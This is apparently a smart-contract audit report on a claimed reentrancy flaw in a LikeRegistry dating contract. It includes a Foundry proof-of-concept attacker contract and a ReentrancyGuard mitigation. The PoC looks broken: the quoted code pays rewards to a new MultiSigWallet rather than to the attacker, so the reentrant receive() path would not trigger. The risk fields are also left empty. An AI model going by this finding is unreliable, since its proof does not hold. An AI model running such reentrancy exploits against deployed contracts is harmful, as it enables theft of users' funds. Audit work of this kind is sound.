Root + Impact
Description
function likeUser(address liked) external payable {
likes[msg.sender][liked] = true;
if (likes[liked][msg.sender]) {
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender);
}
}
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
contract MaliciousProfile {
LikeRegistry public registry;
address public victim;
uint8 public reentrancyCount;
constructor(address _registry) {
registry = LikeRegistry(_registry);
}
function setVictim(address _victim) external {
victim = _victim;
}
function attack() external payable {
registry.likeUser{value: 1 ether}(victim);
}
receive() external payable {
if (reentrancyCount < 1) {
reentrancyCount++;
registry.likeUser{value: 1 ether}(victim);
}
}
}
contract ReentrancyTest is Test {
LikeRegistry registry;
SoulboundProfileNFT nft;
address victim = makeAddr("victim");
MaliciousProfile attacker;
function setUp() public {
nft = new SoulboundProfileNFT();
registry = new LikeRegistry(address(nft));
vm.prank(victim);
nft.mintProfile("Victim", 25, "ipfs://victim");
attacker = new MaliciousProfile(address(registry));
vm.prank(address(attacker));
nft.mintProfile("Attacker", 26, "ipfs://attacker");
attacker.setVictim(victim);
deal(victim, 2 ether);
vm.prank(victim);
registry.likeUser{value: 1 ether}(address(attacker));
deal(address(attacker), 3 ether);
}
function test_reentrancyDoubleMatch() public {
uint256 registryBefore = address(registry).balance;
attacker.attack{value: 1 ether}();
uint256 registryAfter = address(registry).balance;
assertLt(registryAfter, registryBefore - 2 ether, "Reentrancy drained extra ETH");
}
}
Recommended Mitigation
Two changes are required together:
Add OpenZeppelin's ReentrancyGuard to LikeRegistry.
Clear the mutual-like flag before making any external call (checks-effects-interactions pattern).
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract LikeRegistry is Ownable, ReentrancyGuard {
function likeUser(address liked) external payable nonReentrant {
require(msg.value >= 1 ether, "Must send at least 1 ETH");
require(!likes[msg.sender][liked], "Already liked");
require(msg.sender != liked, "Cannot like yourself");
require(profileNFT.profileToToken(msg.sender) != 0, "Must have a profile NFT");
require(profileNFT.profileToToken(liked) != 0, "Liked user must have a profile NFT");
likes[msg.sender][liked] = true;
userBalances[msg.sender] += msg.value;
emit Liked(msg.sender, liked);
if (likes[liked][msg.sender]) {
likes[liked][msg.sender] = false;
likes[msg.sender][liked] = false;
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender);
}
}
}